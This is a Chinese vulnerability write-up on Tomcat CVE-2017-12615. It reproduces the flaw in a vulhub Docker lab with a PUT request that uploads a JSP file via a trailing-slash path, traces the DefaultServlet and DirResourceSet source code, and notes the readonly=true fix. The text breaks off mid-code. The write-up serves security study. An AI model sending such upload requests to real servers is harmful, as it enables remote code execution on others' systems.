0x00 环境搭建

直接 Docker 搭建即可

git clone https://github.com/vulhub/vulhub.git
cd /vulhub/tomcat/CVE-2017-12615
sudo docker-compose build
sudo docker-compose up -d

0x01 漏洞复现

直接使用 PUT 发起请求就可以上传任意文件，比如向 /teamssix.jsp/ 发起请求

PUT /teamssix.jsp/ HTTP/1.1
Host: 172.16.214.20:8080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 26

<%out.print("TeamsSix");%>

HTTP/1.1 201 
Content-Length: 0
Date: Wed, 15 Dec 2021 07:19:29 GMT
Connection: close

服务端返回 201 说明创建成功，访问 /teamssix.jsp 可以看到文件成功被上传

GET /teamssix.jsp HTTP/1.1
Host: 172.16.214.20:8080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

HTTP/1.1 200 
Set-Cookie: JSESSIONID=128419889W27F6C930EF27082B98D9FD; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 8
Date: Wed, 15 Dec 2021 07:19:35 GMT
Connection: close

TeamsSix

0x02 漏洞分析

Tomcat 在处理时有两个默认的 Servlet，分别为 DefaultServlet 和 JspServlet，具体配置如下：

   <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

……

 <servlet>
        <servlet-name>jsp</servlet-name>
        <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
        <init-param>
            <param-name>fork</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
            <param-name>xpoweredBy</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>3</load-on-startup>
    </servlet>

……

    <!-- The mapping for the default servlet -->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- The mappings for the JSP servlet -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>

从配置文件里可以看到对于后缀为 .jsp 和 .jspx 的请求由 JspServlet 处理，而其他的请求则由 DefaultServlet 处理。

所以当请求 /teamssix.jsp 时将会由 JspServlet 处理，无法触发漏洞；而请求 /teamssix.jsp/ 将绕过这个限制，交由 DefaultServlet 处理，这时就可以触发漏洞了。

要想实现一个 Servlet，就需要继承 HTTPServlet，找到 HTTPServlet 文件为 /tomcat/lib/servlet-api.jar!/javax/servlet/http/HttpServlet.class

在 HTTPServlet 中找到 doPut 方法，然后找到 DefaultServlet 里重写的 doPut 方法路径为tomcat/lib/catalina.jar!/org/apache/catalina/servlets/DefaultServlet.class

查看 DefaultServlet 的 doPut 方法

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    if (this.readOnly) {
        resp.sendError(403);
    } else {
        String path = this.getRelativePath(req);
        WebResource resource = this.resources.getResource(path);
        DefaultServlet.Range range = this.parseContentRange(req, resp);
        Object resourceInputStream = null;

        try {
            if (range != null) {
                File contentFile = this.executePartialPut(req, range, path);
                resourceInputStream = new FileInputStream(contentFile);
            } else {
                resourceInputStream = req.getInputStream();
            }

            if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
                if (resource.exists()) {
                    resp.setStatus(204);
                } else {
                    resp.setStatus(201);
                }
            } else {
                resp.sendError(409);
            }
        } finally {
            if (resourceInputStream != null) {
                try {
                    ((InputStream)resourceInputStream).close();
                } catch (IOException var13) {
                }
            }
        }
    }
}

从上面代码的第 2 行可以看到首先判断 readOnly 是否为真，如果为真则返回 403，因此可以直接把 web.xml 里的 DefaultServlet 的 readonly 由原来的 false 改为 true 就能防御这个漏洞了。

继续回到 DefaultServlet.class 里，在 DefaultServlet.class 里可以看到有个 write 函数，通过这个 write 函数代码跟踪到 tomcat/lib/catalina.jar!/org/apache/catalina/webresources/DirResourceSet.class 里的 write 函数

public boolean write(String path, InputStream is, boolean overwrite) {
    this.checkPath(path);
    if (is == null) {
        throw new NullPointerException(sm.getString("dirResourceSet.writeNpe"));
    } else if (this.isReadOnly()) {
        return false;
    } else {
        File dest = null;
        String webAppMount = this.getWebAppMount();
        if (path.startsWith(webAppMount)) {
            dest = this.file(path.substring(webAppMount.length()), false);
            if (dest == null) {
                return false;
            } else if (dest.exists() && !overwrite) {
                return false;
            } else {
                try {
                    if (overwrite) {
                        Files.copy(is, dest.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
                    } else {
                        Files.copy(is, dest.toPath(), new CopyOption[0]);
                    }
                    return true;
                } catch (IOException var7) {
                    return false;
                }
            }
        } else {
            return false;
        }
    }
}

在执行到dest = this.file(path.substring(webAppMount.length()), false); 时，path 会作为参数传入，执行 file 方法，file 方法部分代码如下

protected final File file(String name, boolean mustExist) {
    if (name.equals("/")) {
        name = "";
    }
    File file = new File(this.fileBase, name);